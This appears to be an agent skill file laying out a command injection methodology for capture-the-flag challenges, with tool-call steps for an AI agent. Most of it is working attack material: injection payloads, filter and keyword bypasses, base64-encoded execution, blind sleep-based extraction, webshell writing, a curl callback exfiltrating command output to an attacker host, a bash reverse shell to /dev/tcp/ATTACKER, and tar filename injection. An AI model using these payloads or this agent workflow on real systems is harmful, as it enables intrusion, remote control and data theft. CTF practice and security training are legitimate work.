command-injection-methodology

Complete Command Injection Methodology

Phase 1: Injection Point Discovery

Common features where command injection exists: Ping tools, DNS queries, file operations, network diagnostics, system information pages Common parameter names: ip, host, cmd, command, exec, ping, query, domain, address, ip_address

⛔ In-Depth Reference (must-read when encountering bypasses)

Comprehensive space/keyword/encoding bypass, Windows injection, output filtering bypass → references/injection-bypass.md

Phase 2: Basic Injection Testing (by priority)

Use response_diff to compare the response differences between normal/injected requests and quickly locate the injection point

Semicolon: 127.0.0.1;id
Newline: %0aid（Most reliable, usually not filtered）
Pipe: 127.0.0.1|id
AND/OR: 127.0.0.1 && id / 127.0.0.1 || id
Substitution: 127.0.0.1`id` / 127.0.0.1$(id)

Phase 3: Filtered Character Detection

Test one by one < > | & ; $ \ ( ) { } [ ]`：

| is filtered → use ; or %0a
; is filtered → use %0a newline
> is filtered → cannot redirect, use other exfiltration methods

Phase 4: Exfiltration When Output Is Filtered (Core)

%0a placed at the very front, making the original command fail so only your echo output remains:

ip_address=%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"

→ More exfiltration methods (write files, time-based blind injection) → references/injection-bypass.md

Blind Injection Extraction Techniques

Linux is case-sensitive, so all case combinations of the path must be tried
Character-by-character extraction:cut -c N, awk, substr character-by-character loop extraction
Automation scripting:if [ $(cut -c1 /flag) = 'F' ]; then sleep 2; fi — conditional sleep boolean blind injection
Toolchain:127.0.0.1;cat /flag specific payload command concatenation
Use a bash script or python script to automate extraction

Phase 5: Flag Path Enumeration

⛔ When fixed paths fail, you must use find system search!

/flag, /FLAG, /flag.txt, /FLAG.txt, /app/flag.txt
%0afind / -name "*flag*" -o -name "*FLAG*" 2>/dev/null
env | grep -i flag    # 环境变量
cat /Dockerfile       # 确认路径

Phase 6: Advanced Bypass Quick Reference

Space: ${IFS}, %09, {cat,/flag}
Keyword: c'a't /flag, tac /flag, /bin/ca? /flag
Encoding: echo Y2F0IC9mbGFn | base64 -d | sh
Wildcard: cat /fla*, cat /FL?G.txt

→ Complete bypass list (including Windows) → references/injection-bypass.md

Post-RCE Interaction Strategy

After obtaining command execution, prioritizeno continuous interaction requiredmethods:

Priority	Method	Applicable Scenario
🥇	Direct command output (`; cat /flag`）	injection with echo back
🥈	Webshell (write php/jsp file, interact via HTTP)	Web target, has write permission
🥉	HTTP callback (`curl http://attacker/?d=$(cmd\|base64)`）	blind RCE
4	Reverse shell → `interactive_session`	requires continuous interaction (su/sudo/filesystem exploration)

If a reverse shell is really needed (for example, to escalate privileges, su to switch users, or access the database), use interactive_session tool:

1. interactive_session action="start" session_name="listener" command="nc -lvp 4444" wait=2
2. 通过注入触发反弹: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
3. interactive_session action="read" session_name="listener"  — 确认连接
4. interactive_session action="send" session_name="listener" command="id"  — 执行命令
5. interactive_session action="send" session_name="listener" command="cat /flag.txt"
6. interactive_session action="close" session_name="listener"  — 完成后关闭

Fallback: Bash + tmux manual interaction

If interactive_session tool is unavailable (MCP version not supported, etc.), use Bash to operate tmux directly to achieve the same effect:

# 1. 启动 tmux 会话运行监听
tmux new-session -d -s listener -x 200 -y 50 "nc -lvp 4444"

# 2. 触发反弹 shell（通过注入或其他方式）

# 3. 读取屏幕内容（查看是否有回连）
tmux capture-pane -t listener -p -S -100

# 4. 发送命令
tmux send-keys -t listener "id" Enter
sleep 2
tmux capture-pane -t listener -p -S -50

# 5. 继续交互
tmux send-keys -t listener "cat /flag.txt" Enter
sleep 2
tmux capture-pane -t listener -p -S -50

# 6. 发送 Ctrl-C（中断当前命令）
tmux send-keys -t listener C-c

# 7. 关闭会话
tmux kill-session -t listener

Core three moves:tmux new-session -d(start),tmux send-keys(send command),tmux capture-pane -p(read screen). This pattern applies toany interactive program—not just nc; SSH, mysql, redis-cli, python REPL, etc. are all the same.

Supplementary CTF Command Injection Techniques

Bash Brace Expansion (spaces filtered)

When spaces,$、| etc. are filtered, use brace expansion instead:

{ls,-la,/}       # 等价于: ls -la /
{cat,/flag.txt}  # 等价于: cat /flag.txt

Tar Filename Injection

When the server extracts a tar and displays filenames, shell metacharacters in filenames will be executed:

touch 'name; cat /flag #' && tar cf exploit.tar *

Regex missing `$` anchor bypass

preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $ip) missing $ end anchor, just append the command:

127.0.0.1; cat /flag.txt